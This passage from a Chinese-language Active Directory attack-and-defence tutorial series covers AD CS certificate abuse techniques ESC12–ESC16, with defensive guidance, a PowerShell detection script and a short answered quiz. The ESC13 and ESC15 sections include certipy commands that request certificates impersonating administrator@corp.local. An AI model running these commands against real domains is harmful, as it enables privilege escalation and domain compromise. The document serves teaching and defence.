net stop certsvc
net start certsvc

ESC12:YubiHSM2 特定弱點

這是什麼漏洞

ESC12 是特定硬體 HSM(YubiHSM2)的軟體堆疊弱點,允許低權限使用者濫用 CA 簽章功能。

漏洞原理

  • YubiHSM2 的 KSP/驅動程式弱點
  • 低權限程序可與 HSM 互動
  • 可強制簽署任意憑證請求

漏洞攻擊流程

這是硬體特定的攻擊,需要:

  1. CA 使用 YubiHSM2
  2. 取得 CA 伺服器的低權限 shell
  3. 利用特定的 HSM 軟體弱點

防禦方向

  1. 更新 HSM 韌體和軟體
  2. 限制 CA 伺服器存取
  3. 監控異常的 HSM 操作

ESC13:發行策略群組連結

這是什麼漏洞

ESC13 利用憑證的發行策略(Issuance Policy)OID 連結到 AD 群組的機制。

漏洞原理

  • 範本包含特定的發行策略 OID
  • OID 物件的 msDS-OIDToGroupLink 屬性指向 AD 群組
  • KDC 將連結的群組 SID 加入 Kerberos 票證

漏洞攻擊流程

# 步驟 1:識別有群組連結的範本
certipy find -u 'user@corp.local' -p 'Password!' \
    -vulnerable -dc-ip 192.168.139.10 -oids

# 步驟 2:申請憑證
certipy req -u 'user@corp.local' -p 'Password!' \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'LinkedPolicyTemplate'

# 步驟 3:使用憑證(自動獲得連結群組權限)
certipy auth -pfx 'user.pfx' -dc-ip 192.168.139.10

防禦方向

  1. 審查 OID 群組連結
    Get-ADObject -Filter {objectClass -eq "msPKI-Enterprise-Oid"} -Properties *
    
  2. 限制連結到特權群組
  3. 限制範本註冊權限

ESC14:弱顯式憑證映射

這是什麼漏洞

ESC14 涉及 altSecurityIdentities 屬性使用弱映射規則。

漏洞原理

弱映射範例:

  • X509:<S>CN=User(只依賴 CN)
  • X509:<RFC822>email@domain.com(依賴郵件)
  • 缺少發行者或序號的映射

漏洞攻擊流程

  1. 識別使用弱映射的帳號
  2. 取得或偽造符合映射的憑證
  3. 使用憑證驗證

防禦方向

使用強映射格式:

  • X509:<I>IssuerDN<SR>SerialNumber
  • X509:<SHA1-PUKEY>PublicKeyHash

ESC15:V1 範本應用策略注入(CVE-2024-49019)

這是什麼漏洞

ESC15 允許在未修補的 CA 上,對 V1 範本注入任意應用策略。

漏洞原理

  • V1 範本不驗證 CSR 中的應用策略
  • 攻擊者可注入客戶端驗證或代理 EKU
  • 繞過範本的 EKU 限制

漏洞攻擊流程

# 注入客戶端驗證到 Web 伺服器範本
certipy req -u 'user@corp.local' -p 'Password!' \
    -target 'ca.corp.local' -ca 'CORP-CA' \
    -template 'WebServer' \
    -application-policies 'Client Authentication' \
    -upn 'administrator@corp.local'

防禦方向

  1. 安裝 CVE-2024-49019 修補程式
  2. 升級 V1 範本到 V2
  3. 監控異常的應用策略

ESC16:CA 全域停用安全擴充

這是什麼漏洞

ESC16 是 CA 層級停用 SID 安全擴充,影響所有憑證。

漏洞原理

  • CA 將 1.3.6.1.4.1.311.25.2 加入 DisableExtensionList
  • 所有憑證都缺少 SID 擴充
  • 類似全域 ESC9 效果

漏洞攻擊流程

與 ESC9 相同,但適用於該 CA 的所有範本。

防禦方向

# 重新啟用安全擴充
certutil -setreg policy\DisableExtensionList -1.3.6.1.4.1.311.25.2
net stop certsvc
net start certsvc

綜合防禦策略矩陣

ESC編號 主要防禦措施 監控重點 優先級
ESC1 停用申請者提供主體 Event 4886 極高
ESC2 明確指定 EKU 範本變更
ESC3 限制代理憑證 代理活動
ESC4 審查範本 ACL Event 4899 極高
ESC5 限制 PKI 物件權限 Event 5136
ESC6 停用 EDITF_ATTRIBUTESUBJECTALTNAME2 CA 設定變更 極高
ESC7 限制 CA 權限 Event 4876 極高
ESC8 啟用 EPA Web 存取日誌 極高
ESC9 移除 NoSecurityExtension 憑證內容
ESC10 設定 CertificateMappingMethods LDAPS 驗證
ESC11 強制 RPC 加密 RPC 連線
ESC12 更新 HSM 軟體 HSM 日誌
ESC13 審查 OID 連結 群組變更
ESC14 使用強映射 altSecurityIdentities
ESC15 安裝修補程式 異常 EKU 極高
ESC16 啟用安全擴充 CA 設定 極高

實戰檢測腳本

# ADCS 安全檢測腳本
function Test-ADCSSecurity {
    Write-Host "=== ADCS 安全檢測 ===" -ForegroundColor Cyan
    
    # ESC1 檢測
    $ESC1Templates = Get-ADObject -Filter {objectClass -eq "pKICertificateTemplate"} -Properties * |
        Where-Object {
            $_.'msPKI-Certificate-Name-Flag' -band 1 -and
            $_.'pKIExtendedKeyUsage' -match '1.3.6.1.5.5.7.3.2'
        }
    
    if ($ESC1Templates) {
        Write-Host "[!] 發現 ESC1 脆弱範本:" -ForegroundColor Red
        $ESC1Templates | ForEach-Object { Write-Host "    - $($_.Name)" }
    }
    
    # ESC6 檢測
    $EditFlags = certutil -getreg policy\EditFlags
    if ($EditFlags -match "EDITF_ATTRIBUTESUBJECTALTNAME2") {
        Write-Host "[!] ESC6:CA 允許 SAN 規範" -ForegroundColor Red
    }
    
    # ESC9/16 檢測
    $DisabledExt = certutil -getreg policy\DisableExtensionList
    if ($DisabledExt -match "1.3.6.1.4.1.311.25.2") {
        Write-Host "[!] ESC16:安全擴充被停用" -ForegroundColor Red
    }
}

Test-ADCSSecurity

總結

ADCS 的 ESC 系列攻擊展現了企業 PKI 基礎設施的複雜性和潛在風險。每種攻擊都有其特定的前提條件、攻擊路徑和防禦方法。重要的是要理解:

  1. 設定錯誤是主因:大多數 ESC 攻擊源於設定錯誤而非軟體漏洞
  2. 攻擊可串連:ESC6+ESC9、ESC2→ESC3 等組合攻擊更危險
  3. 防禦需要層次:沒有單一防禦措施可以阻止所有攻擊
  4. 持續監控關鍵:許多攻擊難以完全預防,但可以偵測

記住:ADCS 安全不是一次性的設定,而是持續的監控、稽核和改進過程。定期執行安全評估,保持系統更新,並教育管理員瞭解這些風險,是維護企業 PKI 安全的關鍵。

參考資源

小試身手

第 1 題

在 ESC1 攻擊中,哪個憑證範本旗標是造成漏洞的關鍵設定?

A. CT_FLAG_MACHINE_TYPE
B. CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
C. CT_FLAG_AUTO_ENROLLMENT
D. CT_FLAG_PUBLISH_TO_DS

答案:B

解析:
ESC1 漏洞的核心在於憑證範本中的 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 旗標,這個設定允許申請者在憑證簽署請求(CSR)中自訂主體名稱。當此旗標被啟用且結合客戶端驗證 EKU 時,攻擊者可以申請一張宣稱自己是網域管理員的憑證。其他選項都不是 ESC1 的關鍵要素。


第 2 題

下列哪個 ESC 攻擊需要利用「憑證申請代理」(Enrollment Agent) 功能?

A. ESC1 - 允許申請者提供主體名稱
B. ESC2 - Any Purpose 憑證範本
C. ESC3 - 憑證申請代理濫用
D. ESC4 - 範本劫持

答案:C

解析:
ESC3 專門利用憑證申請代理(Enrollment Agent)功能,這個功能原本設計給 IT 人員協助使用者申請憑證。攻擊者取得包含特定 EKU(1.3.6.1.4.1.311.20.2.1)的代理憑證後,可以代表任何人申請憑證。攻擊流程包括先取得代理憑證,然後使用 -on-behalf-of 參數代表 Administrator 申請憑證。


第 3 題

在 ESC4 攻擊中,攻擊者主要修改憑證範本的哪個屬性來實現權限提升?

A. msPKI-Certificate-Name-Flag 設為 1
B. msPKI-RA-Signature 設為 100
C. msPKI-Enrollment-Flag 設為 0
D. pKIMaxIssuingDepth 設為 10

答案:A

解析:
ESC4 攻擊的核心是修改範本的 msPKI-Certificate-Name-Flag 屬性設為 1,這會啟用 ENROLLEE_SUPPLIES_SUBJECT 功能。攻擊者如果對憑證範本物件擁有寫入權限,可以修改這個屬性,使原本安全的範本變得脆弱,允許申請者自行指定憑證中的身分資訊。這樣就能將一個安全的範本轉變為類似 ESC1 的脆弱範本。


第 4 題

ESC8 攻擊利用 AD CS 的哪個服務進行 NTLM 中繼?

A. RPC Endpoint Mapper
B. Web Enrollment (certsrv)
C. LDAP Service
D. Kerberos KDC

答案:B

解析:
ESC8 利用 AD CS Web Enrollment 服務(certsrv)未啟用擴充保護驗證(EPA),可進行 NTLM 中繼攻擊。IIS 預設允許 NTLM 驗證且未啟用通道繫結(Channel Binding),攻擊者可中繼受害者的 NTLM 驗證到 /certsrv/ 端點。攻擊時會使用 ntlmrelayx.py 工具,目標設定為 http://CA-IP/certsrv/certfnsh.asp


第 5 題

哪個防禦措施可以同時緩解 ESC1 和 ESC6 兩種攻擊?

A. 升級所有 V1 範本到 V2 版本
B. 停用「由申請者提供主體」並關閉 CA 的 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標
C. 啟用憑證管理員核准所有申請
D. 限制 Domain Users 的註冊權限

答案:B

解析:
這題需要理解兩種攻擊的本質:

  • ESC1 的防禦需要停用「由申請者提供主體」選項,改為「從 Active Directory 建置」
  • ESC6 發生在 CA 層級啟用 EDITF_ATTRIBUTESUBJECTALTNAME2 旗標時,需要使用 certutil 命令停用此危險旗標

選項 B 同時處理了這兩個問題的根源:禁止申請者自行指定身分資訊。雖然選項 C(啟用管理員核准)也能提供保護,但這是程序性控制而非技術性控制,且會大幅增加管理負擔。選項 A 和 D 則只能部分緩解問題。


上一篇
AD 攻防實戰演練 Day 14:ADCS 進階攻擊 - ESC5~ESC8 PKI 物件濫用與 NTLM Relay
下一篇
AD 攻防實戰演練 Day 16:橫向移動進階技術 - SAM/LSA/LSASS 憑證提取與多種橫向移動方法
系列文
資安這條路:AD 攻防實戰演練21
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言